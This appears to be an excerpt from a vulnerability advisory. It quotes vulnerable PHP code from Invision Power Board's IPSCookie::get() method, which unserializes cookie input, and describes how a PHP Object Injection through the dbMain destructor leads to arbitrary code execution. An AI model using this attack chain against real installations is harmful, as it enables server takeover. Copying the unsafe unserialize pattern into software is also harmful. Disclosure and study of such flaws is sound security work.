    [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
     
    4015.        static public function get($name)
    4016.        {
    4017.            // Check internal data first
    4018.            if ( isset( self::$_cookiesSet[ $name ] ) )
    4019.            {
    4020.                return self::$_cookiesSet[ $name ];
    4021.            }
    4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
    4023.            {
    4024.                $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
    4025.   
    4026.                if ( substr( $_value, 0, 2 ) == 'a:' )
    4027.                {
    4028.                    return unserialize( stripslashes( urldecode( $_value ) ) );
    4029.                }
     
    The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
    sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts
    with 'a:',  but this is not  sufficient to prevent a  "PHP Object Injection"  because an attacker may send  a
    serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code
    via the  "__destruct()" method of the  "dbMain" class,  which calls the "writeDebugLog" method to write debug
    info into a file.  PHP code may  be injected  only through the  $_SERVER['QUERY_STRING']  variable,  for this
    reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
